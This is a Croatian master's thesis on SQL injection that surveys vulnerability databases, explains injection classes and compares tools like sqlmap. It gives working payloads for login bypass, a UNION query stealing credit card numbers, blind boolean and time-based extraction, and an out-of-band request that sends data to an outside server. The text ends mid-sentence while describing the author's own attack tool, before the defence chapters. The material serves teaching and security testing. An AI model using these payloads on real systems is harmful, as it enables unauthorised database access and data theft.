DIPLOMSKI
RAD
ZAŠTITA OD NAPADA UMETANJEM
PROGRAMSKOG KODA SQL
Ana Kolar
0036464402
Sadržaj
1. Ranjivosti računalnih sustava
3. Umetanje programskog koda SQL
3.2. Standardno ispitivanje otpornosti sustava
na umetanje programskog koda SQL
3.2.1. Klasično umetanje programskog koda SQL
3.2.2. Jednostavne SELECT naredbe
3.3. Prikupljanje informacija o bazi podataka
3.4. Klase napada umetanja programskog koda SQL
3.5.1. Napad temeljen na operatoru UNION
3.5.2. Napad temeljen na BOOLEAN izrazima
3.5.3. Napad temeljen na pogreškama
3.5.4. Tehnika napada OUT-OF-BAND
3.5.5. Napad temeljen na vremenskoj zadršci
4. Alati za provjeru ranjivosti na napade
5. Implementacija jednostavnog alata za izvršavanje napada
umetanjem programskog koda SQL
5.1. Opis implementiranog alata
5.2.1. Iskorištavanje poruka pogrešaka i provjera baze podataka
5.2.2. Korišteni upiti i MySQL funkcije
5.2.4. Implementirane tehnike napada
6. Tehnike obrane od umetanja koda
7. Tehnike obrane od umetanja programskog koda SQL
7.1. Osnovne tehnike obrane od umetanja
programskog koda SQL
7.1.3. Validacija korisničkog unosa uporabom
bijele liste
7.1.4. Obrada korisničkih unosa
7.2.2. Unaprijeđeni Magic quotes
Sigurnosne ranjivosti vrlo često se pronalaze u
sustavima i programskim implementacijama, pogotovo u području
web-aplikacija koje su vrlo česta meta napadača koji žele i znaju
iskoristiti te ranjivosti. Potrebno je podići razinu svijesti o sigurnosti aplikacija i educirati
programere, dizajnere, arhitekte sustava, menadžere i organizacije o
najvažnijim sigurnosnim ranjivostima. Važnu ulogu u tome ima OWASP (engl. The
Open Application Security Project) - online zajednica koja
stvara članke, metodologije, dokumentaciju, alate i tehnologije u
području sigurnosti web-aplikacija. OWASP-ova najvažnija publikacija Top
10 definira kritične rizike na osnovi rasprostranjenosti u kombinaciji s
mogućnosti iskorištavanja, otkrivanja i mogućeg utjecaja. Umetanje
programskog koda SQL smješteno je na prvo mjesto kritičnih rizika stoga
će poseban naglasak u ovom radu biti na toj vrsti napada.
Da bi izveo napad napadač treba imati znanje o tehnikama
napada te pristup i znanje korištenja alata koji automatiziraju sam postupak.
Napad umetanjem programskog koda SQL može biti vrlo jednostavan, a posljedice
mogu biti vrlo ozbiljne te u konačnici prouzročiti velike gubitke,
kako u obliku samih podataka tako i u obliku novca ili reputacije.
Sigurnosne ranjivosti i baze ranjivosti opisane su u prvom
poglavlju. Drugo poglavlje objašnjava pojam umetanja koda i nabraja tipove
umetanja koda. Treće poglavlje govori o umetanju programskog koda SQL,
točnije o osnovnim testovima i standardnom ispitivanju otpornosti sustava
na umetanje SQL koda, prikupljanju informacija o bazi podataka, klasama napada
te su preciznije pojašnjene najčešće tehnike napada. Četvrto
poglavlje pruža pregled i usporedbu poznatih alata za provjeru ranjivosti na
napade. Nekoliko opisanih tehnika napada implementirano je u praktičnom
dijelu rada koji je pobliže, zajedno s testnim okruženjem, objašnjen u petom
poglavlju. Cjelinu zaokružuju šesto poglavlje u kojem su nabrojane
općenite tehnike obrane od umetanja koda, te sedmo poglavlje koje opisuje
osnovne tehnike obrane od umetanja programskog koda SQL općenito i malo
specifičnije za čestu kombinaciju programskog jezika PHP i sustava za
upravljanje bazama podataka MySQL.
Računalne sigurnosne ranjivosti su slabe točke informacijskog
sustava koje omogućavaju napadaču da izvede napad te smanji
vjerodostojnost informacijskog sustava. Nalaze se u sigurnosnim procedurama
sustava, dizajnu i implementacijama te uslijed slučajnog ili namjernog
iskorištavanja rezultiraju sigurnosnim probojem informacijskog sustava ili
narušavanjem njegove sigurnosne politike [3].
Ranjivost omogućuju tri
elementa: osjetljivost sustava ili mana, napadačev pristup mani i njegova
sposobnost da ju iskoristi [9]. U ovom kontekstu ranjivosti se nazivaju područje
napada i za njihovo
iskorištavanje napadač mora imati barem jedan primjenjiv alat i tehniku.
Baze ranjivosti (engl. vulnerability
database) su platforme čiji je cilj skupljanje, širenje i
održavanje informacija o postojećim otkrivenim ranjivostima raznih
računalnih sustava i aplikacija. U njima su pohranjeni detaljni opis i
karakteristike otkrivene ranjivosti, potencijalne posljedice te moguća
zaobilazna rješenja koja pokušavaju zaustaviti napadače u njihovim
zlonamjernim pokušajima iskorištavanja tih ranjivosti. Prednost baza ranjivosti
je što potrošači i organizacije prije korištenja ili kupnje sustava ili
programske opreme (engl. software)
mogu provjeriti otkrivene propuste. Uz korist korisnicima u svrhu informiranja,
baze ranjivosti također su koristan izvor informacija napadačima.
Ipak, u interesu svih je da podaci budu javni kako bi se što ranije napravile
sigurnosne zakrpe te zaobilazna rješenja.
Ranjivosti se kvantificiraju kako bi
se stručnjaci fokusirali na rješavanje prioritetnih tj. potencijalno
najštetnijih ranjivosti. Također potiču i savjetuju korisnike i
organizacije na stvaranje sigurnosnih zakrpi i
drugih načina ublažavanja ranjivosti uz svjesnost o mogućnosti
stvaranja sigurnosnih ranjivosti pri pokušajima popravljanja drugih.
U računicu opasnosti ranjivosti
ulaze tri komponente [9]:
· Nepromjenjiva svojstva – posljedice
izloženosti povjerljivih informacija, dostupnost informacija, posljedice nepovratnog
brisanja podataka
· Promjenjiva svojstva – trenutno
stanje uzrokovanog problema, razvoj zaobilaznih rješenja
· Okruženje – potencijalni gubitak
Do sada najpoznatija baza ranjivosti
bila je OSVDB (engl. Open Source
Vulnerability Database) no uslijed nedovoljne podrške zajednice pri
održavanju donesena je odluka da se ona trajno ugasi. Lista CVE (engl. Common Vulnerabilities and Exposures) je
najvažnija lista područja sigurnosnih ranjivosti koja služi povezivanju
različitih izvora s informacijama o sigurnosnim ranjivosti te je temelj
najopsežnije baze NVD (engl. National
Vulnerability Database). Još jedna platforma novijeg datuma je XFE (engl. IBM X-Force Exchange) koja na moderan
način vizualizira dostupne podatke.
CVE (engl. Common Vulnerabilities and Exposures)
zapravo nije baza ranjivosti već javna lista sigurnosnih ranjivosti koja
pridjeljivanjem standardiziranog identifikatora svakoj ranjivosti
omogućuje jednostavno dijeljenje informacija o ranjivostima kroz
različite alate, repozitorije i servise. CVE ne sadrži podatke o rizicima
ili rješenjima već samo identifikator koji uključuje identifikacijski
broj npr. CVE-2014-0067, kratki opis te poveznice na izvještaje o ranjivostima
i slične korisne javno dostupne dokumente. CVE pruža osnovicu za procjenu
kvalitete alata jer omogućava mjerenje pokrivenosti ranjivosti te tako i
procjenu učinkovitosti i prikladnost alata ovisno o potrebama [10].
Ranjivosti je moguće pretraživati po nazivu proizvoda, pružatelju usluge
ili proizvoda, vrsti ranjivosti i sl.
Slika
1.1 Prikaz pretrage za vrstu
ranjivosti 'SQL Injection'
Slika
1.2 Prikaz informacija o
ranjivosti
Baza NVD
(engl. The National Vulnerability
Database) pokrenuta je 2005. godine i sadržava preko 76 000 CVE zapisa uz
dodatne informacije o ranjivostima te bolju tražilicu i vizualizaciju podataka.
NVD za ocjenjivanje rizika ranjivosti
koristi CVSS Version 2 (engl. Common Vulnerability Scoring System),
otvoreni standard za pridjeljivanje kvantifikatora ranjivostima u ovisnosti o
lakoći iskorištavanja i težini posljedica [11]. NVD se ažurira čim
izađu podaci o tek dodanoj ranjivosti iz liste CVE te ju potom NVD analitičari analiziraju u
roku 2 radna dana. NVD pruža podršku za statistiku čija je svrha da
korisnicima omogući stvaranje statistika kroz vrijeme i kvalitetno
praćenje određenih proizvoda, pružatelja usluga ili proizvoda te
atributa ranjivosti.
Slika
1.3 Primjer rezultata
pretraživanja za pojam 'SQL injection'
Slika
1.4 Primjer detaljnih
informacija o ranjivosti CVE-2016-4040
Slika
1.5 Prikaz promjene tipova
ranjivosti kroz godine
XFE (engl. IBM X-Force Exchange) nova je platforma
koja skuplja informacije o ranjivostima, zlonamjernim IP adresama, URL-ovima i
web-aplikacijama. Podaci su integrirani iz IBM baza podataka (X-Force Database, oko 88 000 zapisa),
slobodno dostupnih izvora te iz suradnji s neovisnim izvorima. [12].
Na početnom zaslonu prikazana je
moderna pokretna vizualizacija zlonamjernih IP adresa prema državama otkrivenih
tijekom zadnjeg sata kategoriziranih kao što je prikazano na Slika 1.6.
Slika 1.6 Vizualizacija statistike zlonamjernih IP adresa
Glavne mogućnosti koje XFE pruža
su pretraživanje,
komentiranje, pohranjivanje u kolekcije i dijeljenje kolekcija i
izvještaja o ranjivostima.
Pretraživati se može po IP adresama, URL-ovima te ranjivosti po CVE
identifikatoru. Prilikom pretraživanja npr. IP adrese prikazuju se podaci o
ocjeni rizika (skala 1 – 10, mijenja se prema volumenu i učestalosti),
lokaciji na razini države, kategoriji i povijesnom sadržaju ažuriranja koji se
odnose na tu adresu od trenutka od kojeg se ona prati. Detalji vezani za
informacije o web-aplikacijama i URL-ovima većinom se podudaraju s
podacima o IP adresama, uz naravno, drugačiju kategorizaciju. Prikaz
rezultata pretraživanja moguće je vidjeti na Slika 1.7.
Slika 1.7 Rezultat pretraživanja IP adrese
Kad korisnik želi pohraniti rezultate
pretrage ili neke informacije može prikazani izvještaj dodavati u kolekcije na
3 razine – “My collections”, “Shared with me” i “Public”. Izvještaj je pritom
pohranjen u obliku kakvom je bio u trenutku pohranjivanja, no moguće je
vidjeti i trenutno, stvarnovremensko stanje izvještaja. Unutar kolekcije
postoje zabilješke, vremenska crta aktivnosti te lista pohranjenih izvještaja.
Za razliku od ostalih baza podataka
XFE pruža API (engl. Application
Programming Interface) koji omogućava integraciju s drugim sustavima i
platformama. Primjer zahtjeva i JSON odgovora moguće je vidjeti na Slika 1.8.
Slika 1.8 Primjer GET zahtjeva i JSON odgovora
Umetanje koda (engl. code injection)
je općeniti naziv za tip napada koji se sastoji od umetanja koda koji
potom aplikacija izvršava. Zbog nedostatka odgovarajuće validacije
podataka (npr. format podataka, količina primljenih podataka, dozvoljeni
znakovi) napadaču je omogućeno umetanje (engl. injection) koda u ranjiv računalni program i promjena tijeka
izvođenja te iskorištavanja pogrešaka u programu do kojih dolazi obradom
(namjerno) neispravnih podataka [2].
· SQL Injection
– korištenje SQL sintakse za umetanje naredbi kojima se čitaju ili
mijenjaju podaci iz baze podataka mijenjanjem ili nadopunjavanjem originalnih
upita
· HTML/Script Injection – čest naziv još je “Cross-Site Scripting” ili “XSS”, umetanje
zlonamjernih skripti u web-stranice
· Shell Injection/Command
Injection – izvršavanje proizvoljnih naredbi na host operacijskom sustavu kroz ranjivu aplikaciju njenim prenošenjem nesigurnih
podataka sistemskoj ljusci
· Dynamic Code Evaluation/Eval
Injection – skripta
ne validira korisnički unos te napadač preko prilagođenog URL-a
preda proizvoljan kod funkciji eval() koja potom izvršava taj kod
· Object Injection – neprovjeren ulaz preda se funkciji
za deserijalizaciju te on prepiše postojeći objekt kojeg se namjeravalo deserijalizirati
· Remote File Injection – iskorištavanje dinamičkog učitavanja vanjskih datoteka u
aplikaciji
Prvi spomen pojma
umetanja programskog koda SQL i diskusija pojavljuju se oko 1998. godine, a
2013. takva vrsta napada našla se prva na ljestvici kritičnih sigurnosnih
rizika u OWASP-ovoj publikaciji Top Ten [5].
Umetanje SQL koda (engl. SQL injection) koristi
se nad data-driven aplikacijama s
ciljem da zlonamjerni podaci napadača zavaraju interpreter kako bi izvršio
naredbe koje nije namjeravao ili dao pristup podacima napadaču bez
odgovarajućih ovlasti i valjane autorizacije [1]. Uspješno umetanje SQL
koda omogućuje napadaču da ubacuje podatke u bazu, uništi ili mijenja
postojeće podatke, izvršava operacije nad bazom s administracijskim
ovlastima (npr. ugasi sustav za upravljanje bazom podataka), mijenja sadržaj
postojećih datoteka u podatkovnom sustavu sustava za upravljanje, izvršava
naredbe operacijskog sustava, razotkrije sve podatke, učini ih
nedostupnima ili nevažećima ili poništi transakcije.
Opći pregled SQL injekcije prema OWASP-u [6]
· Potencijalni napadači - svatko tko može poslati sumnjive podatke sustavu
uključujući vanjske i unutarnje korisnike te administratora
· Napadački vektor - jednostavan tekst koji napadač šalje s namjerom iskorištavanja
sintakse interpretera
· Sigurnosne slabe točke - ranjivosti na umetanje koda ranjivosti veoma su
rasprostranjene te se često nalaze u SQL, LDAP, XPath ili NoSQL upitima,
OS naredbama, XML parserima, SMTP zaglavljima i slično. Lako ih je otkriti
proučavanjem koda, ali često teško otkriti testiranjem
· Tehnički učinak - moguć gubitak podataka, zabrana pristupa ili čak
potpuno preuzimanje kontrole nad bazom podataka
· Poslovni učinak - promatra se s aspekta poslovne vrijednosti ugroženih podataka i
platforme na kojoj je pokrenut interpreter. Podaci mogu biti ukradeni,
izmijenjeni i obrisani te reputacija može biti značajno narušena
Primjer: Jednostavno umetanje SQL
koda
SQL upit:
Select title, text
From news
Where id = $id
SQL naredbe uključuju programski
kod sa SQL sintaksom u kombinaciji s podacima dobivenim od korisnika. U ovom
primjeru varijabla $id sadržava podatke dobivene od
korisnika dok je statički dio napisao programer. Statički dio i
varijabla tvore SQL upit dinamičkim.
Vrijednost varijable:
$id = '10 or 1=1'
S navedenom vrijednošću
varijable stvoren je upit za umetanje SQL koda jer napadač koristi uvjet '1=1' čiji je rezultat uvijek true.
Potrebno je razumjeti
kada točno aplikacija komunicira s poslužiteljem baze podataka u svrhu
dohvaćanja podataka. Obično je to prilikom uporabe formi za
autentifikaciju kada se s bazom podataka provjerava valjanost korisničkog
imena i lozinke, kod tražilice u koje korisnik unosi tekst koji može biti
korišten za dohvaćanje određenih podataka iz baze te kod
web-aplikacija za elektroničko poslovanje jer su proizvodi i njihove
karakteristike uglavnom pohranjeni u bazi podataka.
Ispitivač sustava bi trebao napraviti
listu svih mogućih vrijednosti ulaza koji mogu biti korišteni za izradu
SQL upita, uključujući skrivena polja POST zahtjeva (te HTTP
zaglavlja i kolačića) te ih zatim odvojeno testirati i pokušati
generirati pogrešku. Važno je testirati svaki parametar zasebno kako bi se
točno odredilo koji su parametri ranjivi [7].
Prvi test je dodavanje jednostrukog
navodnika ili znaka točka-zarez u testirano polje. Jednostruki navodnik se
koristi u SQL-u kao graničnik niza znakova i ako nije filtriran od strane
aplikacije vodi do neispravnog upita i proizvodi pogrešku prikazanu na Slika 3.1. Drugi, točka-zarez, se koristi
za kraj SQL naredbe te također generira pogrešku ako nije filtriran.
Slika 3.1 Poruka pogreške (Microsoft SQL Server)
Također treba ispitati znakove za ubacivanje komentara
te ostale ključne riječi poput AND ili OR koje
se koriste za pokušaj modificiranja upita. Jednostavan, a efektan primjer je
umetanje niza znakova tamo gdje se očekuje broj. Rezultat je poruka pogreške
prikazana na Slika 3.2.
Slika 3.2 Poruka pogreške (Microsoft SQL Server)
Nakon takvih pokušaja generiranja
pogrešaka potrebno je promatrati odgovore od web-poslužitelja i proučavati
HTML/JavaScript izvorni kod. Potpuni opis tj. poruka pogreške pruža bogat izvor
informacija testeru. Kada su pogreške kratke i ne odaju puno informacija, poput
'500 Server Error' potrebno je koristiti tehnike
slijepog umetanja (engl. blind injection).
Primjer 1 [7]: Autentikacija
korisnika na web-aplikaciji uz pretpostavku da se parametri šalju GET metodom i
da je domena www.example.com.
Upit:
SELECT * FROM Users
WHERE Username='$username' AND Password='$password'
Korisnički unos:
$username = 1' or '1' = '1
$password = 1' or '1' = '1
Konačni upit:
SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND
Password='1' OR '1' = '1'
Zahtjev:
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1
Upit će uvijek vratiti vrijednost ili skup vrijednosti
jer je napisani uvjet uvijek istinit zbog dijela upita 'OR 1 = 1'. Tako je postignuto da se korisnik
autentificirao bez znanja o korisničkom imenu i lozinki.
Primjer 2 [7]:
Upit:
SELECT * FROM Users
WHERE ((Username='$username') AND
(Password=MD5('$password')))
U slučaju ovakvog upita postoje dva problema. Prvi problem
predstavljaju zagrade te se to rješava dodavanjem onoliko zagrada koliko je
potrebno da se dobije ispravan upit. Drugi problem je uporaba MD5 funkcije za
izračunavanje sažetka i to se rješava tako da se taj dio upita stavi pod
komentar. U ovom primjeru odgovarajući znak za komentar je ‘/*’ dok je za
druge sustave za upravljanje bazama podataka znak ‘-’ ili nešto slično.
Korisnički unos:
$username = 1' or '1' = '1'))/*
$password = foo
Konačni upit:
SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND
(Password=MD5('$password'))
Zahtjev:
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo
Odgovor na navedeni upit može
sadržavati više vrijednosti stoga je u zahtjev umetnut dio LIMIT <num> prije znaka za komentar.
Upit:
SELECT * FROM products
WHERE id_product=$id_product
Vrijednost
varijable:
$id = 10
Zahtjev:
http://www.example.com/product.php?id=10
Uz korištenje jednostavnih
operatora AND i
OR moguće je
poslati zahtjeve poput:
http://www.example.com/product.php?id=10 AND 1=2
http://www.example.com/product.php?id=10 AND 1=1
Prvi zahtjev će vratiti poruku
greške s informacijom da ne postoji takav sadržaj. Nakon toga ispitivač može poslati ispravan uvjet i dobiti
podatke o proizvodu s tim identifikatorom ako takav proizvod postoji.
Ovisno o API-ju kojeg
web-aplikacija koristi ponekad je moguće izvesti više upita u jednom
izvođenju tj. nagomilane upite (engl. stacked
queries). Sljedeći primjer [7] pokazuje kako bi se u kombinaciji PHP +
PostgreSQL ili ASP + SQL SERVER lako moglo izvesti ubacivanje podataka u bazu:
Upit:
SELECT * FROM products
WHERE id_product=$id_product
Zahtjev:
http://www.example.com/product.php?id=10; INSERT INTO users (…)
Za izvođenje ispitivanja
(ili napada) važno je saznati o kojem se sustavu za upravljanje bazama podataka
radi i to se može jednostavno saznati na temelju poruka pogrešaka koje sustav
vraća [7].
MySQL:
Slika
3.3 Pogreška koju vraća
sustav za upravljanje bazama podataka MySQL
Oracle:
Slika
3.4 Pogreška koju vraća
sustav za upravljanje bazama podataka Oracle
MS SQL Server:
Slika
3.5 Pogreška koju vraća
sustav za upravljanje bazama podataka MS SQL
PostgreSQL:
Slika
3.6 Pogreška koju vraća
sustav za upravljanje bazama podataka PostgreSQL
U slučaju kada nema poruka
pogrešaka ili su prilagođene pa otkrivaju manje informacija ispitivač može pokušati metodu konkatenacije:
MySQL: 'test' + 'ing'
Oracle: 'test' 'ing'
MS SQL Server: 'test'||'ing'
PostgreSQL: 'test'||'ing'
Klase napada umetanjem programskog
koda SQL [8]
· Inband – podaci
se dohvaćaju korištenjem istog kanala kao i za umetanje SQL koda
· Out-of-band –
podaci se dohvaćaju različitim kanalom od onog koji je korišten za
umetanje programskog koda SQL npr. email s rezultatima upita
· Inferential/Blind – nema prijenosa podataka, ali ispitivač odnosno napadač može
rekonstruirati informaciju slanjem određenih zahtjeva i promatranjem
rezultiranog ponašanja poslužitelja
Za uspješan napad potrebno je izraditi
sintaksno ispravan SQL upit. Ako aplikacija vrati grešku jer je upit bio
neispravan, napadač ima ideju kako nastaviti upit na osnovu poruke greške,
te nešto promijeniti i ponovno pokušati. Međutim ako aplikacija skriva
detalje pogreške, napadač mora biti u mogućnosti otkriti logiku originalnog upita.
Operator UNION, koji se koristi u napadima temeljenima na operatoru UNION
(engl. UNION-based attack), koristi
se kada su ranjivosti u SELECT dijelu SQL naredbe. Operator UNION omogućava spajanje originalnog i zlonamjernog napadačevog
upita te njihovih rezultata u jedan skup podataka (engl. result
set) čime se omogućava npr. dobavljanje vrijednosti atributa [8].
Primjer:
Upit:
SELECT Name, Phone, Address FROM Users WHERE
Id=$id
Postavljena vrijednost varijable:
id:
$id=1 UNION ALL SELECT
creditCardNumber,1,1 FROM CreditCardTable
Konačni upit:
SELECT Name, Phone, Address FROM Users WHERE
Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
Dodatni
upit je dohvaćanje brojeva kartica iz tablice CreditCardTable. Ključna
riječ ALL
potrebna je zbog slučaja korištenja ključne riječi DISTINCT i dodatne dvije
brojčane vrijednosti potrebne su kako bi se izbjegla sintaksna pogreška
jer upiti moraju imati jednak broj parametara tj. atributa.
Prvi korak:
Određivanje broja atributa u SELECT
naredbi
To se može odrediti na
sljedeći način:
http://www.example.com/product.php?id=10
ORDER BY 10--
Ako
upit uspije onda postoji 10 ili više atributa, a u protivnom se pojavljuje
poruka greške poput 'Unknown column '10' in 'order clause'. Tako se pokušava redom dok se ne dođe do
točnog broja atributa.
Drugi korak: Otkrivanje tipa atributa
Napadač može pokušavati
pogoditi tip atributa, jednog po jednog postavljajući vrijednosti ostalih atributa
na null.
Primjer:
http://www.example.com/product.php?id=10 UNION SELECT 1, null,
null--
U slučaju pogreške pojavit
će se poruka poput 'All cells in a column must have the same
datatype'. Kada je pogođen
tip atributa, on se fiksira te se pokušava sa sljedećim.
Napadi temeljeni na
BOOLEAN izrazima (engl. BOOLEAN-based
attack) spadaju u skupinu napada slijepog umetanja programskog koda SQL jer
se koriste kada nije poznato ništa osim rezultata operacije. To se primjerice
događa kada programer stvori svoju stranicu za opis pogrešaka koja ne
otkriva ništa o strukturi ili upitu baze podataka. Takve stranice obično
sadržavaju samo statusni kod HTTP
500, 404
ili redirect i ne vraćaju SQL pogrešku. Takve prepreke moguće
je zaobići metodom zaključivanja koja se sastoji od serije boolean
izraza, promatranja odgovora i izvođenja zaključaka [8].
Primjer zahtjeva:
http://www.example.com/index.php?id=1'
Izvođenjem upita pojavit će
se poruka o sintaksnoj pogrešci u upitu zbog dodanog jednostrukog navodnika.
Pretpostavimo da je upit koji je
izveden na poslužitelju sljedećeg oblika:
Primjer:
SELECT field1, field2,
field3 FROM Users WHERE Id='$Id'
Želimo dohvatiti vrijednosti atributa
username i to možemo ostvariti saznavanjem znaka
po znaka korištenjem nekih pseudofunkcija:
SUBSTRING
(text, start, length) – vraća podniz znakova od indeksa ‘start’ duljine ‘length’. Ako je ‘start’
> ‘length’ onda funkcija vraća null
ASCII
(char) –
vraća ASCII vrijednost ulaznog znaka (ako je znak 0 vraća se null)
LENGTH
(text) –
vraća broj znakova ulaznog teksta
Vrijednost varijable:
$Id=1' AND ASCII(SUBSTRING(username,1,1)) = 97 AND '1'='1
Konačni upit:
SELECT field1, field2, field3
FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1)) = 97 AND '1'='1'
Upit vraća rezultat samo ako
prvi znak atributa username odgovara ASCII vrijednosti 97, u
suprotnom se u idućoj iteraciji pokušava s 98 itd. Ako je rezultat upita true potrebno je povećati indeks u funkciji substring. O tome vraća li
upit true ili false
moguće je
zaključiti stvaranjem upita za koji je sigurno da vraća false poput:
Vrijednost varijable:
$Id=1' AND '1' = '2
Upit:
SELECT field1, field2,
field3 FROM Users WHERE Id='1' AND '1' = '2'
Izvršavanjem navedenog upita
napadač saznaje kako izgleda false odgovor na testove. To neće funkcionirati u
slučaju kada poslužitelj vraća različite stranice kao rezultat
identičnih upita. U tim slučajevima potrebno je koristiti određene
filtere koji eliminiraju kod koji se mijenja u odgovoru i stvoriti predložak.
Prilikom svakog zahtjeva izdvoji se promjenjivi dio odgovora i na osnovu
stvorenih predložaka odluči koji je rezultat upita.
Potrebno je znati i kada završiti
testove budući da ASCII funkcija vraća null
vrijednost u dva slučaja. Kada uspoređujemo znak s ASCII kodom 0 (vrijednost
null) vraća se true ili kada smo pretražili cijeli niz znakova ili smo
analizirali null znak.
Sljedećim upitom moguće je
riješiti nedoumicu.
Vrijednost varijable:
$Id=1' AND
LENGTH(username)=N AND '1' = '1
Gđe je N
broj do sada
analiziranih znakova (ne brojeći null vrijednost).
Upit:
SELECT field1, field2,
field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
Ako je rezultat upita true onda je metoda završena te su poznate vrijednosti parametra,
u protivnom je potrebno raditi analizu do sljedeće null vrijednosti.
Napad temeljen na
pogreškama (engl. ERROR-based attack)
koristan je kada napadač ne može koristiti druge tehnike poput napada
temeljenog na operatoru UNION. Ideja je prisiliti bazu podataka da
izvede operaciju koja će rezultirati pogreškom te će informacijama u
poruci pogreške omogućiti napadaču da unaprijedi upit te iterativno
pokušava doći do uspjeha [8]. Ova tehnika može biti različita ovisno
o specifikacijama sustava za upravljanje bazama podataka (engl. Database Management System,
skraćeno DBMS).
Primjer za DBMS Oracle 10g:
Upit:
SELECT * FROM products WHERE id_product=$id_product
Zahtjev:
http://www.example.com/product.php?id=10
Konačni zahtjev:
http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME((SELECT
user FROM DUAL))--
U ovom primjeru napadač
konkatenira vrijednost 10 s rezultatom funkcije UTL_INADDR.GET_HOST_NAME koja pokušava saznati host name predanog parametra (u ovom
slučaju imena korisnika). DBMS će vratiti pogrešku i poruku poput 'ORA-292257: host SCOTT unknown'
čime je očito odana informacija koju napadač može
iskoristiti.
U tehnici napada
OUT-OF-BAND dohvaćanje podataka izvršava se putem drugog kanala od onog
kojim se umeće programski kod SQL npr. stvara se HTTP veza za slanje
rezultata [8]. Ova
tehnika je korisna kada se napadač nađe u situaciji u kojoj nije
poznato ništa osim rezultata operacije. Tehniku čini uporaba funkcija
sustava za upravljanje bazama podataka koje stvaraju out of band vezu i vraćaju rezultat umetnutog upita kao dio
zahtjeva prema poslužitelju. Kao i za napade temeljene na pogreškama, funkcije
ovise o sustavu za upravljanje bazom podataka.
Upit:
SELECT * FROM products WHERE id_product=$id_product
Zahtjev:
http://www.example.com/product.php?id=10
Konačni zahtjev:
http://www.example.com/product.php?id=10||UTL_HTTP.request('testerserver.com:80'||(SELET
user FROM DUAL)--
U ovom primjeru napadač
konkatenira vrijednost 10 s rezultatom funkcije UTL_HTTP.request – Oracle funkcija koja se pokušava spojiti na testerserver i napraviti GET zahtjev
koji sadržava rezultat SELECT upita.
Tehnika napada temeljenog
na vremenskoj zadršci (engl. TIME-based
attack) korisna je kada se napadač nađe u situaciji u kojoj nije
poznato ništa osim rezultata operacije. Napadač šalje umetnute upite i u
slučaju da je uvjet istinit poslužitelju je potrebno određeno vrijeme
da odgovori [8]. Ako postoji vremenska zadrška napadač može pretpostaviti
da je rezultat upita true. Koriste se razne funkcije poput sleep() te tehnika i funkcije ovise o sustavu za upravljanje bazom
podataka.
Upit:
SELECT * FROM products WHERE id_product=$id_product
Zahtjev:
http://www.example.com/product.php?id=10
Primjer za
DBMS MySQL 5.x:
Konačni
zahtjev:
http://www.example.com/product.php?id=10 AND IF(version() like '5%',
sleep(10), 'false'))--
Napadač provjerava radi li se o
verziji MySQL 5.x te kada to nije slučaj zadaje poslužitelju određeno
vrijeme čekanja koje je dovoljno da zaključi je li rezultat true ili false (u
ovom primjeru 10 sekundi).
Postoji mnoštvo slobodno
dostupnih alata za provjeru ranjivosti na napade, a posebno se u području
napada umetanjem SQL koda ističu sqlmap i BSQL Hacker. Još su
često u uporabi alati Safe3 SQL Injector, SQLSus i The Mole [13]. Alati su tablično
uspoređeni s obzirom na sustave za upravljanje bazama podataka, tehnike
napada umetanjem programskog koda SQL i s obzirom na operacijske sustave.
Tablica 1 Podržanost sustava za upravljanje bazama podataka
|
sqlmap |
BSQL Hacker |
Safe3 SQL Injector |
SQLSus |
The Mole |
MySQL |
+ |
+* |
+ |
+ |
+ |
Oracle |
+ |
+ |
+ |
|
+ |
PostgreSQL |
+ |
|
+ |
|
+ |
MSSQL |
+ |
+ |
+ |
|
+ |
IBM DB2 |
+ |
|
|
|
|
SQLite |
+ |
|
+ |
|
|
Firebird |
+ |
|
+ |
|
|
Sybase |
+ |
|
+ |
|
|
SAP MaxDB |
+ |
|
+ |
|
|
Microsoft Access |
+ |
|
+ |
|
|
HSQLDB |
+ |
|
|
|
|
*eksperimentalno
Iz Tablica 1 je evidentno da najveći
opseg u kontekstu podržanosti sustava za upravljanje bazama podataka imaju
alati sqlmap i Safe3 SQL Injector dok je primjerice SQLSus specijaliziran samo
za sustav za upravljanje bazama podataka MySQL.
S obzirom na napade umetanjem programskog
koda SQL najmoćniji su alati sqlmap, SQLSus i BSQL Hacker kao što je
vidljivo na Tablica 2 te s obzirom na podržanost
operacijskih sustava uvjerljivo je najmoćniji alat sqlmap kao što je
vidljivo na Tablica 3.
Tablica 2 Podržanost tehnika napada
|
sqlmap |
BSQL Hacker |
Safe3 SQL Injector |
SQLSus |
The Mole |
Boolean-based |
+ |
+ |
|
+ |
+ |
Time-based |
+ |
+ |
|
+ |
|
Error-based |
+ |
+ |
+ |
|
|
UNION based |
+ |
|
+ |
+ |
+ |
out-of-band |
+ |
|
|
|
|
Nagomilani upiti |
+ |
|
|
+ |
|
Tablica 3 Podržanost operacijskih sustava
|
sqlmap |
BSQL Hacker |
Safe3 SQL Injector |
SQLSus |
The Mole |
Windows |
+ |
+ |
+ |
|
+ |
Linux |
+ |
|
|
+ |
+ |
FreeBSD |
+ |
|
|
|
|
Mac OS X |
+ |
|
|
|
|
Razvijena je desktop aplikacija koja izvršava napad na web-stranicu unosom URL-a (engl. uniform resource locator) na kojem je
moguće pronaći web-stranicu. Aplikacija zahtijeva da se radi o
sustavu za upravljanje bazama podataka MySQL (engl. DataBase Management System, kratica DBMS).
Osnovne funkcionalnosti aplikacije su:
·
Testiranje konekcije tj. povezanosti na Internet
·
Provjera ispravnosti unesenog URL-a
·
Provjera sustava za upravljanje bazama podataka
·
Izvođenje napada odabranom tehnikom (automatski odabir, napad temeljen
na operatoru UNION, napad temeljen na BOOLEAN izrazima, napad temeljen na
vremenskoj zadršci)
·
Prikaz prikupljenih podataka u stablastom prikazu (engl. tree view)
·
Prikaz informacija o poslanim zahtjevima i primljenim odgovorima
·
Izvoz (engl. export) baze u json
datoteku
Aplikacija se sastoji od dva
prikaza (eng. view):
Glavni prozor
Sastoji se od kućice
za odabir (engl. checkbox) za odabir
izvoza baze podataka, radio button-a
za odabir tehnike napada, polja za unos URL-a, gumba za odabir json datoteke na
disku u kojoj se nalazi prethodno izvezena baza podataka, prostor za prikaz
odrađenih faza napada (ovisno o odabranoj tehnici), tablični prikaz
